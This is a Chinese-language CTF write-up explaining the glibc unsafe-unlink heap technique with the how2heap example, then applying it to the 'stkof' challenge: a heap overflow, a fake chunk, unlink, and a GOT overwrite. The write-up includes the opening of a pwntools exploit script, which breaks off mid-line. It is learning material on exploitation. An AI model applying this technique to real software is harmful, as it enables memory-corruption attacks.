unsafe_unlink
Tags: Pwn, learning experience
例子:
先讲解一下how2heap中给出的例子: 它最终的效果是让全局变量ptr上存储的值变为ptr-0x18, 其unlink过程可以被分解成为如下步骤: (1)寻找堆溢出, (2)伪造chunk, (3)执行unlink
(1)寻找堆溢出就是找一个溢出点之类的漏洞使其修改两个连续chunk中的第二个chunk
(2)伪造chunk, 除了在第一个chunk中布置fake_fd和fake_bk外, 还要在第二个chunk的chunk头改变pre_szie与pre_inuse位, 其布置完成后类似下图:
(3)执行unlink操作, 拿how2heap里的程序举例子, 它是在向后合并且导致free_chunk变大(即使是fake_free_chunk), 所以它要被从之前所在大小的chunk里取出来, 同时其fd与bk记录的chunk再次链接,注意其顺序位FAKE_FD_bk=FAKE_BK, FAKE_BK_fd=FAKE_FD, 因为FAKE_BK_fd是后赋值且FAKE_FD_bk与其实际上是同一地址都是ptr, 所以最后ptr上记录的值就变为了FAKE_FD即ptr-0x18(可能变量名称和wiki上有些出入, 但是懒得重新画了)
stkof:
很简单的一道题, 看懂例子差不多就自己能做出来了, 比较蛋疼的是它没有函数来提示功能, 导致我一度以为电脑坏了
保护检查:
RELRO不是全开, 所以可以尝试修改got表
反汇编分析:
首先在Full函数里存在这明显可利用的堆溢出:
PS: 该文件所有反汇编生成的函数中栈上的字符数组都默认命名为s, 而也有一个全局指针也默认名为s, 所以建议自己改了全局指针的名称, 免得混淆了
在Add函数中我们发现其申请空间的地址是通过一个全局指针来进行存储的, 所以我们很容易想到利用unlink
实现思路:
(1)利用Full函数中的堆溢出伪造出可供利用的fake_chunk
(2)unlink操作之后, 由于ptr指向了ptr-0x18的位置所以fread从ptr-0x18开始写入, 由于ptr-0x10是存放chunk1的地址, 所以等一会我们也可以尝试对chunk1进行fread操作
(3)将全局指针上放入got, 然后我们通过Full函数就可以利用fread对其进行改写got表了
注意事项:
第一个chunk申请完之后会产生一个0x410大小的chunk, 所以unlink操作推荐在自己申请的第二和第三个chunk中进行
exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./stkof')
#sh=remote("node3.buuoj.cn",26510)
elf=ELF("./stkof")
context.arch="amd64"
#context.log_level="debug"
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc=ELF('./libc.so.6')
global_ptr = 0x0602140
free_plt = 0x400750
def Alloc(size):
sh.sendline("1")
sh.sendline(str(size))
sh.recvuntil("OK\n")
def Full(index, padding):
sh.sendline("2")
sh.sendline(str(index))
sh.sendline(str(len(padding)))
sh.send(padding)
sh.recvuntil("OK\n")
def Free(index):
sh.sendline("3")
sh.sendline(str(index))
Alloc(0x90